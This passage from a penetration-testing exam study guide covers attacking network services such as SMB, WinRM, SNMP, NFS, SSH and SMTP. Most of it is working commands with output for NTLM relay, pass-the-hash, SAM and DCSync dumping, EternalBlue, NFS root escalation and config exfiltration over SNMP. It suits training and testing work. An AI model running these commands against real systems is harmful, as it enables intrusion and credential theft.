Rather than crack the captured hash offline, you can relay it in real time to another SMB server where the user has access. If that server has SMB signing disabled, you authenticate as the user and execute commands or dump SAM.

Step 1: Edit `/etc/responder/Responder.conf` to disable SMB and HTTP servers (so Responder captures the broadcast but does not handle the auth itself):

```
[Responder Core]
SMB = Off
HTTP = Off
```

Step 2: Run Responder in poisoning mode and `ntlmrelayx.py` to handle the relay:

```
sudo responder -I eth0 -wrf

# In another terminal
sudo impacket-ntlmrelayx -tf targets.txt -smb2support
# Or, to execute a command rather than dump SAM:
sudo impacket-ntlmrelayx -t smb://10.10.10.50 -c 'powershell -enc <base64>' -smb2support
```

Find candidate targets (hosts without SMB signing required):

```
nxc smb 10.10.10.0/24 --gen-relay-list targets.txt
```

The hosts listed in `targets.txt` are vulnerable to relay.

When successful, `ntlmrelayx` dumps the SAM by default:

```
[*] Authenticating against smb://10.10.10.50 as CORP/JDOE SUCCEED
[*] Dumping SAM hashes for host 10.10.10.50
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[...]
```

These hashes can then be used for pass-the-hash against other hosts.

5.4 FTP - Already Covered

See section 5.2.2.

5.5 IPsec (D5)

The CRT requires you to enumerate and fingerprint IPsec endpoints. The primary tool is `ike-scan`.

5.5.1 IKE Scanning

```
# Identify IKE endpoint and version
sudo ike-scan 10.10.10.50

# Aggressive Mode scan (responds with hash if PSK auth + Aggressive Mode supported)
sudo ike-scan -A 10.10.10.50

# Specify a particular group/identity
sudo ike-scan -A --id=GroupName 10.10.10.50

# Scan a range
sudo ike-scan 10.10.10.0/24
```

A typical successful response:

```
Starting ike-scan 1.9.5 with 1 hosts
10.10.10.50 Main Mode Handshake returned HDR=(CKY-R=...)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration(4)=0x00007080)
```

5.5.2 PSK Cracking from Aggressive Mode

When IKE Aggressive Mode is supported with PSK authentication, the responder transmits a hash that includes the PSK. This hash is crackable offline:

```
sudo ike-scan -A -P psk-hash.txt 10.10.10.50

# Crack with psk-crack
psk-crack -d /usr/share/wordlists/rockyou.txt psk-hash.txt

# Or with hashcat (mode 5300)
hashcat -m 5300 psk-hash.txt /usr/share/wordlists/rockyou.txt
```

Mitigation (if you are advising the client): use IKE Main Mode (which encrypts the PSK exchange), or move to certificate-based authentication or IKEv2.

5.6 Management Services (D6)

The category covers protocols intended for administrative access:

- **Telnet (TCP/23)** - covered above
- **SSH (TCP/22)** - covered in section 5.8
- **HTTP/HTTPS management interfaces (TCP/80, 443, often 8080, 8443, 10000)**
- **PowerShell Remoting (TCP/5985 HTTP, TCP/5986 HTTPS)** - WinRM-based
- **WMI (TCP/135 + dynamic ports)** - the legacy Windows management protocol
- **WinRM (TCP/5985, 5986)** - Windows Remote Management

5.6.1 Cisco Reverse Telnet (TCP/2001-2999, 3001-3999, 4001-4999, 5001-5999, 6001-6999, 7001-7999, 9001-9999)

Cisco devices that act as terminal servers (often referred to as “console servers” or “comm servers”) expose console ports to the network via reverse Telnet. Each line is mapped to a port:

- TCP/2000 + line_number = raw access (no protocol)
- TCP/3000 + line_number = telnet (binary)
- TCP/4000 + line_number = XRemote
- TCP/5000 + line_number = telnet stream
- TCP/6000 + line_number = telnet to a port
- TCP/7000 + line_number = telnet binary to port
- TCP/9000 + line_number = telnet to a port

Typically `telnet <ip> 2001` reaches the first attached device's console. If the attached device has weak access controls (no console password), an attacker can configure the device.

5.6.2 PowerShell Remoting / WinRM

WinRM is Microsoft's implementation of WS-Management. Two ports:

- **TCP/5985** - HTTP transport. The default for domain-joined hosts on a trusted network.
- **TCP/5986** - HTTPS transport.

Authentication can be NTLM, Kerberos, Basic, or Certificate. By default, only members of the local Administrators or Remote Management Users group can connect.

Enumeration:

```
sudo nmap -p 5985,5986 --script http-title 10.10.10.0/24

# CrackMapExec/NetExec
nxc winrm 10.10.10.50 -u administrator -p 'Password123!'
nxc winrm 10.10.10.50 -u users.txt -p 'Password123!' --continue-on-success
```

Connect with `evil-winrm`:

```
evil-winrm -i 10.10.10.50 -u administrator -p 'Password123!'

# Pass the hash
evil-winrm -i 10.10.10.50 -u administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0

# With Kerberos (requires properly configured /etc/krb5.conf and a TGT in cache)
evil-winrm -i 10.10.10.50 -r CORP.LOCAL

# Upload/download files within the session:
*Evil-WinRM* PS> upload localfile.exe C:\Windows\temp\file.exe
*Evil-WinRM* PS> download C:\Users\admin\file.txt /tmp/file.txt
```

`evil-winrm` runs PowerShell remoting underneath but adds convenience features: file transfer, AMSI bypass, in-memory script loading.

PowerShell native:

```
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.50 -Credential $creds

# Or persistent session
$session = New-PSSession -ComputerName 10.10.10.50 -Credential $creds
Invoke-Command -Session $session -ScriptBlock { whoami }
```

5.6.3 WMI - Windows Management Instrumentation

WMI uses DCOM/RPC over port 135 plus a dynamic high port. Authentication is NTLM or Kerberos. Useful for command execution when WinRM is not available.

Impacket `wmiexec.py`:

```
impacket-wmiexec corp.local/administrator:'Password123!'@10.10.10.50
impacket-wmiexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 administrator@10.10.10.50

# Single command rather than interactive shell
impacket-wmiexec corp.local/administrator:'Password123!'@10.10.10.50 'whoami /priv'
```

CrackMapExec/NetExec WMI module:

```
nxc wmi 10.10.10.50 -u administrator -p 'Password123!' -x 'whoami'
```

`wmiexec` is quieter than `psexec` because it does not create a service. It runs commands via `cmd.exe /Q /c <cmd>` and reads output from a temporary share.

5.7 Desktop Access Services (D7)

5.7.1 RDP (TCP/3389)

Microsoft's Remote Desktop Protocol. The most common Windows remote access path.

Enumeration:

```
sudo nmap --script rdp-enum-encryption,rdp-ntlm-info,rdp-vuln-ms12-020 -p 3389 10.10.10.50

# rdp-ntlm-info leaks: hostname, NetBIOS name, DNS name, OS version, build number
```

Sample output of `rdp-ntlm-info`:

```
| rdp-ntlm-info:
| Target_Name: CORP
| NetBIOS_Domain_Name: CORP
| NetBIOS_Computer_Name: WS-USER01
| DNS_Domain_Name: corp.local
| DNS_Computer_Name: ws-user01.corp.local
| DNS_Tree_Name: corp.local
| Product_Version: 10.0.19041
|_ System_Time: 2025-04-25T10:42:13+00:00
```

Connecting:

```
xfreerdp /v:10.10.10.50 /u:administrator /p:'Password123!' /cert:ignore /dynamic-resolution
xfreerdp /v:10.10.10.50 /u:administrator /pth:31d6cfe0d16ae931b73c59d7e0c089c0 # PtH (requires Restricted Admin Mode on target)

# Older alternative
rdesktop -u administrator -p 'Password123!' 10.10.10.50

# Brute force
hydra -L users.txt -P passwords.txt rdp://10.10.10.50 -t 4
nxc rdp 10.10.10.50 -u users.txt -p passwords.txt --continue-on-success
```

Famous RDP vulnerabilities:

- **MS12-020 (CVE-2012-0002)** - pre-auth DoS. Used in `rdp-vuln-ms12-020` script.
- **BlueKeep (CVE-2019-0708)** - pre-auth RCE on Windows XP/7/2003/2008/2008 R2. Patch available May 2019.
- **DejaBlue (CVE-2019-1181, CVE-2019-1182)** - similar pre-auth RCE on Windows 7+.

5.7.2 VNC (TCP/5900-5906)

Virtual Network Computing. Multiple implementations (RealVNC, TightVNC, UltraVNC, TigerVNC). VNC Authentication is challenge-response using DES with a key derived from a password truncated to 8 characters.

Enumeration:

```
sudo nmap --script vnc-info,vnc-brute,realvnc-auth-bypass,vnc-title -p 5900-5906 10.10.10.50

# Manual
vncviewer 10.10.10.50:0
vncviewer 10.10.10.50::5900 # alternative syntax for explicit port

# Brute force
hydra -P passwords.txt vnc://10.10.10.50
```

Famous VNC vulnerabilities:

- **VNC Authentication Bypass (CVE-2006-2369)** - RealVNC 4.1.0/4.1.1 allows authentication bypass by selecting the “None” authentication type from the server’s offered list.

5.7.3 XDMCP (UDP/177)

X Display Manager Control Protocol. Permits remote X session establishment over the network. When enabled and unauthenticated, anyone can request an X session.

```
sudo nmap -sU --script xdmcp-discover -p 177 10.10.10.50

# Connect with Xnest or Xephyr
Xnest -query 10.10.10.50 :1
```

Rarely encountered today.

5.7.4 X11 (TCP/6000-6063)

The X Window System network protocol. By default X listens on TCP/6000 + display_number. When `xhost +` has been run (granting any host access), or when “magic cookie” authentication is misconfigured, an attacker can connect to the display, capture screenshots, log keystrokes, and inject input.

Enumeration:


```

sudo nmap -p 6000-6063 --script x11-access 10.10.10.50

# Test if x11-access permitted
xdpyinfo -display 10.10.10.50:0
xwininfo -display 10.10.10.50:0 -root -tree

# Capture screenshot
xwd -display 10.10.10.50:0 -root -out screen.xwd
convert screen.xwd screen.png

# Log keystrokes (live)
xspy -display 10.10.10.50:0

```

If `xspy` is unavailable, use `xev` or write a quick script with `python-xlib`.

5.8 SSH (D8)

SSH (Secure Shell, TCP/22) is the dominant secure remote shell protocol.

5.8.1 SSH Versions and Banner

```

nc -v 10.10.10.50 22
> SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6

```

The banner discloses:

- SSH protocol version (SSH-1.99 = supports both 1 and 2; SSH-2.0 = only 2)
- Server software and version
- Often the OS distribution

SSH protocol version 1 is broken (CRC-32 compensation attack, weak integrity); any server still offering it is a finding.

5.8.2 SSH Auditing

```
ssh-audit 10.10.10.50
```

Sample output identifies:

- Supported KEX algorithms (rate weak: `diffie-hellman-group1-sha1`, `gss-group1-sha1-*`)
- Host key types and bit strengths
- Encryption algorithms (rate weak: `arcfour`, `3des-cbc`, `blowfish-cbc`)
- MAC algorithms (rate weak: any using MD5)
- Compression and post-quantum readiness

nmap NSE:

```
sudo nmap --script ssh2-enum-algos,ssh-auth-methods,ssh-hostkey,ssh-publickey-acceptance -p 22 10.10.10.50
```

5.8.3 SSH Authentication Mechanisms

- **Password** - simplest. Susceptible to brute force unless rate-limited or using fail2ban.
- **Public key** - preferred. Client proves possession of a private key matching a public key in the server's `~/.ssh/authorized_keys`.
- **Keyboard-interactive** - includes 2FA (Google Authenticator, Duo).
- **Host-based** - the rare and dangerous one. Host trust based on `/etc/ssh/ssh_known_hosts` and `~/.shosts`.
- **GSSAPI / Kerberos** - on AD-integrated systems.

Brute force:

```

hydra -L users.txt -P passwords.txt ssh://10.10.10.50 -t 4 -v
ncrack -p 22 --user users.txt --pass passwords.txt 10.10.10.50

# CrackMapExec/NetExec
nxc ssh 10.10.10.50 -u users.txt -p passwords.txt --continue-on-success

```

5.8.4 SSH Trust Relationships and `authorized_keys` Abuse

The `~/.ssh/authorized_keys` file lists public keys permitted to log in as that user. Privileged enumeration of compromised hosts should always check:

- `~/.ssh/authorized_keys` - which keys are trusted
- `~/.ssh/known_hosts` - which servers this host has previously connected to

- `~/.ssh/id_*` - private keys (if unencrypted, or if you can crack the passphrase)
- `~/.ssh/config` - aliases, jump hosts, key-to-host mappings

A common privilege escalation: if you compromise user `alice` and read her `id_rsa`, you can SSH as `alice` to every host where her public key is trusted (including, often, root accounts on infrastructure hosts).

Cracking SSH key passphrases:

```
# Convert key to John format
ssh2john id_rsa > id_rsa.hash

# Crack
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

# Or with hashcat (mode 22921 for bcrypt-pbkdf, 22931 for older)
hashcat -m 22921 id_rsa.hash /usr/share/wordlists/rockyou.txt
```

5.8.5 SSH Tunnelling

Already covered extensively in Chapter 4 (Routing Manipulation).

5.9 TFTP (UDP/69)

Trivial File Transfer Protocol. Connectionless, no authentication, intended for bootstrapping (PXE boot, network device config backup).

5.9.1 TFTP Enumeration

```
sudo nmap -sU --script tftp-enum -p 69 10.10.10.50

# Manual client
tftp 10.10.10.50
> get filename
> put filename
> quit
```

5.9.2 The Cisco TFTP Config Grab

A classic technique: many Cisco routers and switches will accept a request to copy their `running-config` to a TFTP server, given the device's RW SNMP community string. This is the standard backup mechanism, but with a writable community on a router and a TFTP server you control:

```
# 1. Set up a TFTP server on your testing host
sudo atftpd --daemon --port 69 /tmp/tftp

# 2. Issue an SNMP set telling the router to copy its config to your server
snmpset -v2c -c private 10.10.10.1 \
  1.3.6.1.4.1.9.9.96.1.1.1.1.2.111 i 1 \
  1.3.6.1.4.1.9.9.96.1.1.1.1.3.111 i 4 \
  1.3.6.1.4.1.9.9.96.1.1.1.1.4.111 i 1 \
  1.3.6.1.4.1.9.9.96.1.1.1.1.5.111 a "<your-ip>" \
  1.3.6.1.4.1.9.9.96.1.1.1.1.6.111 s "router-config" \
  1.3.6.1.4.1.9.9.96.1.1.1.1.14.111 i 4

# 3. The router writes its full config to /tmp/tftp/router-config
cat /tmp/tftp/router-config
```

The reverse also works: with the same OIDs but reversed source/destination types, you can push a malicious config to the router and reload it.

5.10 SNMP (D10)

Simple Network Management Protocol. The protocol most exam candidates underestimate. UDP/161 for queries, UDP/162 for traps.

5.10.1 SNMP Versions

Version	Authentication	Encryption	Notes
v1	Community string in cleartext	None	Original, oldest.
v2c	Community string in cleartext	None	Same security as v1, improved performance.
v3	User/password (USM) or contextual	DES, 3DES, AES	Modern. SNMPv3 with <code>authPriv</code> is genuinely secure.

For v1/v2c, the community string acts as both authentication and authorisation. Two common community strings: `public` (read-only) and `private` (read-write). Anyone who guesses the community can query.

5.10.2 SNMP Enumeration

```
# Discover by brute-forcing communities
onesixtyone -c /usr/share/wordlists/metasploit/snmp_default_pass.txt 10.10.10.0/24

# nmap
sudo nmap -sU --script snmp-info,snmp-interfaces,snmp-netstat,snmp-processes,snmp-sysdescr,snmp-win32-services,snmp-win32-users,snmp-win32-users,snmp-brute -p 161 10.10.10.50

# snmp-check (one-shot scan with formatted output)
snmp-check -c public 10.10.10.50
```

5.10.3 Walking the MIB

The MIB (Management Information Base) is the hierarchical database of values queryable via SNMP. The full hierarchy is enormous; useful subtrees:

OID	What it returns
1.3.6.1.2.1.1	System info (sysDescr, sysName, sysContact)
1.3.6.1.2.1.1.1.0	sysDescr - typically full OS version string
1.3.6.1.2.1.2	Network interfaces
1.3.6.1.2.1.4.20	IP address table
1.3.6.1.2.1.6.13	TCP connection table
1.3.6.1.2.1.7.5	UDP listener table
1.3.6.1.2.1.25.1.6.0	sysUpTime
1.3.6.1.2.1.25.4.2.1.2	Running processes (Windows + Linux)
1.3.6.1.2.1.25.4.2.1.4	Process paths
1.3.6.1.2.1.25.6.3.1.2	Installed software
1.3.6.1.4.1.77.1.2.25	Windows users (LanManager)
1.3.6.1.4.1.77.1.4.1	Windows domain
1.3.6.1.2.1.55.1.5.1.2	IPv6 addresses
1.3.6.1.4.1.9.9.43.1.1.4.1.4	Cisco Config Management (last config change time)
1.3.6.1.4.1.9.9.96.1.1.1	Cisco Config Copy MIB - the config copy mechanism

```
# Walk the entire MIB
snmpwalk -v2c -c public 10.10.10.50

# Specific subtree
snmpwalk -v2c -c public 10.10.10.50 1.3.6.1.2.1.25.4.2.1.2

# Single OID
snmpget -v2c -c public 10.10.10.50 1.3.6.1.2.1.1.1.0
```

5.10.4 SNMPv3 Enumeration

SNMPv3 still leaks user names even before authentication. nmap probes:

```
sudo nmap -sU --script snmp-brute,snmp-info -p 161 10.10.10.50
```

The `snmpv3-info` script identifies users.

5.11 NFS (D11)

Network File System. UDP/2049 (most v3) or TCP/2049 (NFSv4). Uses portmapper (TCP/UDP 111) in v3 and earlier.

5.11.1 NFS Enumeration

```
# What's exported?
showmount -e 10.10.10.50

> Export list for 10.10.10.50:
> /export/home      *
> /opt/data         10.10.10.0/24
> /backup           everyone

# nmap
sudo nmap --script nfs-ls,nfs-showmount,nfs-statfs -p 2049 10.10.10.50
```

5.11.2 Mounting an NFS Share

```
sudo mkdir -p /mnt/nfs
sudo mount -t nfs 10.10.10.50:/export/home /mnt/nfs -o nolock
ls -la /mnt/nfs/

# NFSv4
sudo mount -t nfs4 10.10.10.50:/export/home /mnt/nfs
```

5.11.3 NFS UID/GID Manipulation Attack

NFSv3 trusts the client's claim of UID/GID. If you mount a share and the export is configured without `root_squash`, you can become any user (including root) on the share by setting your local UID:

```
# As root locally
sudo mount -t nfs 10.10.10.50:/export /mnt/nfs

# Find a SUID-capable file (or lack of root_squash)
ls -la /mnt/nfs

# If no root_squash: write a SUID root binary
sudo cp /bin/bash /mnt/nfs/.rootbash
sudo chmod +s /mnt/nfs/.rootbash

# Then on the NFS server (or via any host that mounts the same share)
# Run /export/.rootbash -p <- effective UID 0
```

The `no_root_squash` export option disables UID 0 squashing on the server. If present, the client's root has root on the share. This is a serious finding.

Other relevant export options:

- `root_squash` (default) - remote root mapped to nobody
- `no_root_squash` - remote root preserved (DANGEROUS)
- `all_squash` - all UIDs mapped to anonymous
- `nosuid` - disregard SUID/SGID on filesystem (mitigates the attack above)
- `noexec` - block execution from the share
- `ro` / `rw` - read-only or read-write
- Source IP / hostname restrictions in the export line

5.11.4 If You Are Not Root Locally

If you cannot mount NFS yourself (e.g., no local root), you can still query the contents using `nfs-ls`:

```
sudo nmap --script nfs-ls --script-args nfs-ls.maxfiles=100 -p 2049 10.10.10.50
```

Or use `fusermount` which sometimes does not require root.

5.12 SMB (D12)

Server Message Block. The protocol underlying Windows file and printer sharing. UDP/137-138 and TCP/139 (NetBIOS over TCP, legacy), TCP/445 (SMB direct, modern).

5.12.1 SMB Versions

Version	Year	Notable for
CIFS / SMBv1	1996	Insecure. EternalBlue (MS17-010) targeted this. Should be disabled.
SMBv2	2006 (Vista)	Major redesign.
SMBv2.1	2009 (Win 7)	
SMBv3	2012 (Win 8)	Encryption (AES-CCM), pre-auth integrity.
SMBv3.0.2	2014 (Win 8.1)	
SMBv3.1.1	2016 (Win 10)	Latest. AES-GCM.

5.12.2 SMB Enumeration

```
# Identify version and SMB security mode
sudo nmap --script smb-protocols,smb-security-mode,smb2-security-mode -p 445 10.10.10.50

# Comprehensive enumeration
enum4linux -a 10.10.10.50      # legacy but still useful
enum4linux-ng -A 10.10.10.50  # modern Python rewrite

# rpcclient
rpcclient -U "" -N 10.10.10.50      # null session
rpcclient> srvinfo
rpcclient> enumdomusers
rpcclient> enumdomgroups
rpcclient> querydomaininfo
rpcclient> getdcompinfo           # password policy
rpcclient> queryuser 0x3e8        # query user by RID (1000)
rpcclient> lookupnames administrator
rpcclient> lookupsids S-1-5-21-...

# smbclient list shares
smbclient -L //10.10.10.50/ -N      # null session
smbclient -L //10.10.10.50/ -U 'CORP\jdoe>Password123!'

# Connect to share
smbclient //10.10.10.50/Share -N
smbclient //10.10.10.50/C$ -U 'CORP\administrator>Password123!'

# smbmap - alternative listing with permissions
smbmap -H 10.10.10.50 -u guest -p ""
smbmap -H 10.10.10.50 -u administrator -p 'Password123!' -R Share

# nbtscan - NetBIOS name service scan
nbtscan 10.10.10.0/24

# CrackMapExec/NetExec
nxc smb 10.10.10.50
nxc smb 10.10.10.50 -u guest -p ''
nxc smb 10.10.10.50 -u administrator -p 'Password123!' --shares
```

5.12.3 SMB Authentication Without Credentials

Two unauthenticated SMB modes that may exist:

- **Null session** - logging in with empty username and empty password. Permitted on older Windows / Samba defaults. Often allows enumeration of shares, users, groups, password policy.
- **Guest session** - logging in as `guest` with any password. Mapped to a low-privilege account but may have access to “everyone” shares.

Modern Windows disables null sessions and guest by default. When found, both are findings.

5.12.4 RID Cycling

Even on hardened hosts, a domain user with read access to AD can enumerate every other user via RID cycling. The technique queries for SIDs by incrementing the RID portion:

```
S-1-5-21-<DOMAIN-SID>-500      # Administrator
S-1-5-21-<DOMAIN-SID>-501      # Guest
S-1-5-21-<DOMAIN-SID>-512      # Domain Admins
S-1-5-21-<DOMAIN-SID>-513      # Domain Users
S-1-5-21-<DOMAIN-SID>-1000     # First user created
S-1-5-21-<DOMAIN-SID>-1001     # Second user created
[...]
```

```
# enum4linux -r does this automatically
enum4linux -r 10.10.10.50

# enum4linux-ng
enum4linux-ng -R 10.10.10.50

# Manual with rpcclient
for i in $(seq 500 1100); do
    rpcclient -U "" -N -c "lookupsids S-1-5-21-1234567890-1234567890-1234567890-$i" 10.10.10.50
done

# Impacket
impacket-lookupsid corp.local/jdoe:'Password123!'@10.10.10.50
```

5.12.5 EternalBlue (MS17-010)

The single most famous SMB vulnerability. Pre-auth RCE on SMBv1 against most pre-patch Windows versions (Vista through Server 2016). Used by WannaCry, NotPetya. The patch was released March 2017; the leak came in April 2017.

```
# Detection
sudo nmap --script smb-vuln-ms17-010 -p 445 10.10.10.50
nxc smb 10.10.10.50 -M ms17-010

# Exploitation via Metasploit
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.50
set LHOST <your-ip>
exploit
```

If you encounter EternalBlue in the exam, it is essentially a “free flag” - the exploit is reliable and gives SYSTEM.

5.12.6 SMB Signing

SMB signing prevents NTLM relay attacks against SMB. It is disabled by default on workstations and member servers (it is enforced only on domain controllers). Hosts with signing not required are vulnerable to relay:

```
# Identify hosts not requiring SMB signing
nxc smb 10.10.10.0/24 --gen-relay-list relay_targets.txt

# Or with nmap
sudo nmap --script smb-security-mode -p 445 10.10.10.0/24 | grep -B2 "message_signing: disabled"
```

These hosts should be in your relay target list (see section 5.3.6).

5.12.7 PsExec, WMIExec, SMBExec

When you have credentials, command execution on Windows over SMB is via:

```
# psexec - creates a temporary service. Loud (creates Service Control Manager events).
impacket-psexec corp.local/administrator:'Password123!'@10.10.10.50
impacket-psexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 administrator@10.10.10.50

# wmiexec - quieter. No service. Uses WMI.
impacket-wmiexec corp.local/administrator:'Password123!'@10.10.10.50

# smbexec - quieter than psexec. Uses temporary service but with cmd.exe.
impacket-smbexec corp.local/administrator:'Password123!'@10.10.10.50

# atexec - executes via scheduled task
impacket-atexec corp.local/administrator:'Password123!'@10.10.10.50 'whoami'
```

5.12.8 Dumping SAM and LSA

Once you have local admin on a Windows host, dumping credentials:

```
# Remote (impacket-secretsdump)
impacket-secretsdump corp.local/administrator:'Password123!'@10.10.10.50

# Output:
# SAM hashes (LM:NTLM):
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

# LSA secrets:
SMACHINE.ACC: <hex>
DPAPI_SYSTEM:0102000...

# Cached domain logons (if cached):
CORP.LOCAL/jdoe:$0CC2$10240#jdoe#5e0d4f8....

# DCSync (when run against a DC with appropriate privileges)
impacket-secretsdump -just-dc-ntlm corp.local/administrator:'Password123!'@10.10.10.50
```

5.13 LDAP (D13)

Lightweight Directory Access Protocol. TCP/389 (cleartext), TCP/636 (LDAPS). Active Directory's primary query protocol, but also used by OpenLDAP, FreeIPA, and others.

5.13.1 LDAP Bind Modes

- **Anonymous bind** - no credentials. Often enabled on AD for the RootDSE.
- **Simple bind** - DN + cleartext password. Insecure unless over TLS.
- **SASL bind** - Kerberos, NTLM, EXTERNAL.

5.13.2 LDAP Enumeration

```
# nmap
sudo nmap --script ldap-rootdse,ldap-search -p 389 10.10.10.50

# Anonymous query of RootDSE
ldapsearch -x -H ldap://10.10.10.50 -s base -b "" "(objectClass=*)" "*" "+"

# Sample interesting attributes from RootDSE on AD:
# - rootDomainNamingContext
# - configurationNamingContext
# - schemaNamingContext
# - defaultNamingContext (the base DN of the domain)
# - dnsHostName
# - serverName
# - currentTime
# - supportedLDAPVersion
# - supportedSASLMechanisms

# Authenticated query - all users
ldapsearch -x -H ldap://10.10.10.50 -D 'CORP\jdoe' -w 'Password123!' \
  -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName description

# Members of Domain Admins
ldapsearch -x -H ldap://10.10.10.50 -D 'CORP\jdoe' -w 'Password123!' \
  -b "DC=corp,DC=local" "(memberOf=CN=Domain Admins,CN=Users,DC=corp,DC=local)" sAMAccountName

# Computers with Server in OS
ldapsearch -x -H ldap://10.10.10.50 -D 'CORP\jdoe' -w 'Password123!' \
  -b "DC=corp,DC=local" "(&(objectClass=computer)(operatingSystem=*Server*))" name dnsHostName
```

5.13.3 windapsearch

A Python tool wrapping LDAP queries with friendlier syntax:

```
windapsearch -d corp.local --dc-ip 10.10.10.50 -u jdoe -p 'Password123!' -U # all users
windapsearch -d corp.local --dc-ip 10.10.10.50 -u jdoe -p 'Password123!' -G # all groups
windapsearch -d corp.local --dc-ip 10.10.10.50 -u jdoe -p 'Password123!' -C # all computers
windapsearch -d corp.local --dc-ip 10.10.10.50 -u jdoe -p 'Password123!' --da # Domain Admins
windapsearch -d corp.local --dc-ip 10.10.10.50 -u jdoe -p 'Password123!' --privileged-users
windapsearch -d corp.local --dc-ip 10.10.10.50 -u jdoe -p 'Password123!' --sccm
windapsearch -d corp.local --dc-ip 10.10.10.50 -u jdoe -p 'Password123!' --gpos
```

5.13.4 LDAP Pass-Back / Injection

Some applications (network appliances, web admin panels) prompt for an LDAP server config and “test” it by performing a bind. If you can change the LDAP server they bind to, you can capture credentials. This is the LDAP Pass-Back attack. Out of scope for the CRT but worth knowing.

LDAP injection in web applications is covered in Chapter 8.

5.14 Berkeley r-services (D14)

The legacy Unix remote services. Should not exist on any modern system but may be encountered in older environments.

Service	Port	Function
rsh	TCP/514	Remote shell
rlogin	TCP/513	Remote login (interactive)
rexec	TCP/512	Remote command execution
rwho	UDP/513	Currently logged-in users
rusers	TCP/UDP varies (RPC)	Users on a remote host
rstat	RPC	Performance stats

The trust model: hosts and users listed in `/etc/hosts.equiv` and `~/.rhosts` are trusted to authenticate without password. A `~/.rhosts` containing `+ +` means “any user on any host can log in as me without a password” - the classic catastrophic misconfiguration.

```
# Discovery
sudo nmap --script rsh-brute,rusers,rusers-info -p 512,513,514 10.10.10.50

# Manual exploitation if .rhosts trusts you
rsh -l root 10.10.10.50 'id'
rlogin -l root 10.10.10.50

# rwho lists logged-in users
rwho 10.10.10.50

# rusers
rusers 10.10.10.50
```

5.15 X Windows (D15)

Already covered in section 5.7.4.

5.16 NTP (D16)

Network Time Protocol. UDP/123. Critical for Kerberos (5-minute clock skew tolerance) and for log correlation.

5.16.1 NTP Enumeration

```
# Variables
ntpq -c readvar 10.10.10.50

# Monlist (lists hosts that have queried this server recently - sometimes thousands)
ntpdc -c monlist 10.10.10.50

# nmap
sudo nmap -sU --script ntp-info,ntp-monlist -p 123 10.10.10.50
```

The `monlist` query is interesting both as an information disclosure (list of clients) and as an amplification vector (used in NTP DDoS amplification - the response is far larger than the query). Mitigation has been to disable `monlist` on modern NTP daemons.

5.17 Finger (D17)

The finger protocol, TCP/79. Discloses information about logged-in users. Once standard on Unix; rare today.

```
# All currently logged-in users
finger @10.10.10.50

# Specific user
finger root@10.10.10.50
finger jdoe@10.10.10.50

# Bulk enumeration with usernames list
for u in $(cat users.txt ; do
  echo -n "$u: "
  finger "$u@10.10.10.50" 2>/dev/null | head -1
done

# nmap
sudo nmap --script finger -p 79 10.10.10.50
```

When present, finger discloses: username, real name, home directory, shell, last login time, mail status, plan and project files. The information is useful for username enumeration and password attacks.

5.18 RPC Services (D18)

Remote Procedure Call. The RPC portmapper (TCP/UDP/111) maps RPC programmes to dynamically-assigned ports. To use any RPC service, the client first queries the portmapper to learn the dynamic port, then connects.

5.18.1 Portmapper Enumeration

```
rpcinfo -p 10.10.10.50

# Sample output:
  program vers proto  port  service
  100000    4   tcp    111   portmapper
  100000    3   tcp    111   portmapper
  100000    2   tcp    111   portmapper
  100024    1  udp   35577 status
  100024    1   tcp   47351 status
  100005    3  udp   20048 mountd
  100005    3   tcp   20048 mountd
  100003    3   tcp   2049  nfs
  100003    4   tcp   2049  nfs
  100021    4   tcp   35671 nlockmgr
  100011    1  udp    875  rquotad

# nmap
sudo nmap --script rpcinfo -p 111 10.10.10.50
```

5.18.2 Common RPC Programmes

Programme	Number	Service
portmapper	100000	The mapper itself
nfs	100003	NFS
mountd	100005	NFS mount daemon
nlockmgr	100021	NFS lock manager
status	100024	NSM status monitor
rquotad	100011	NFS quota
rusersd	100002	rusers daemon
sprayd	100012	spray
walld	100008	wall (broadcast message)
ypserv	100004	NIS server
ypbind	100007	NIS binder

`mountd` is the gateway to NFS - `showmount` queries it.

`rusers` is often abused for username enumeration:

```
rusers -al 10.10.10.50
```

Several historic RPC vulnerabilities led to remote root, particularly on Solaris and HP-UX. `nmap --script rpc-grind` can identify specific RPC versions.

5.19 SMTP and Mail Servers (D19)

Simple Mail Transfer Protocol. TCP/25 (server-to-server, sometimes for client submission), TCP/587 (modern client submission with STARTTLS), TCP/465 (SMTPS, client submission over implicit TLS).

5.19.1 SMTP Enumeration

Banner grabbing:

```

nc -nv 10.10.10.50 25
> 220 mail.corp.local ESMTP Postfix (Debian/GNU)
HELP
EHLO test.com
> 250-mail.corp.local Hello [10.10.10.150]
> 250-PIPELINING
> 250-SIZE 10240000
> 250-VERFY
> 250-ETRN
> 250-STARTTLS
> 250-AUTH LOGIN PLAIN
> 250-AUTH=LOGIN PLAIN
> 250-ENHANCEDSTATUSCODES
> 250-8BITMIME
> 250-DSN
> 250-SMTPUTF8
QUIT

```

The EHLO response discloses supported extensions. Critical ones:

- **VERFY** - verify a username exists. Often disabled but sometimes left on.
- **EXPN** - expand a mailing list to its members. Same disclosure.
- **STARTTLS** - opportunistic TLS upgrade.
- **AUTH LOGIN PLAIN** - cleartext authentication mechanisms (LOGIN is base64 wrapping; PLAIN is base64 of `\0user\0pass`).

5.19.2 Username Enumeration via VRFY/EXPN

```

# Manual
nc -nv 10.10.10.50 25
EHLO test
VERFY root
> 250 root <root@example.com> # exists
VERFY noexist
> 550 5.1.1 <noexist>: Recipient address rejected: User unknown # does not exist

# Tool: smtp-user-enum
smtp-user-enum -M VRFY -U /usr/share/wordlists/seclists/Usernames/Names/names.txt -t 10.10.10.50
smtp-user-enum -M EXPN -U users.txt -t 10.10.10.50
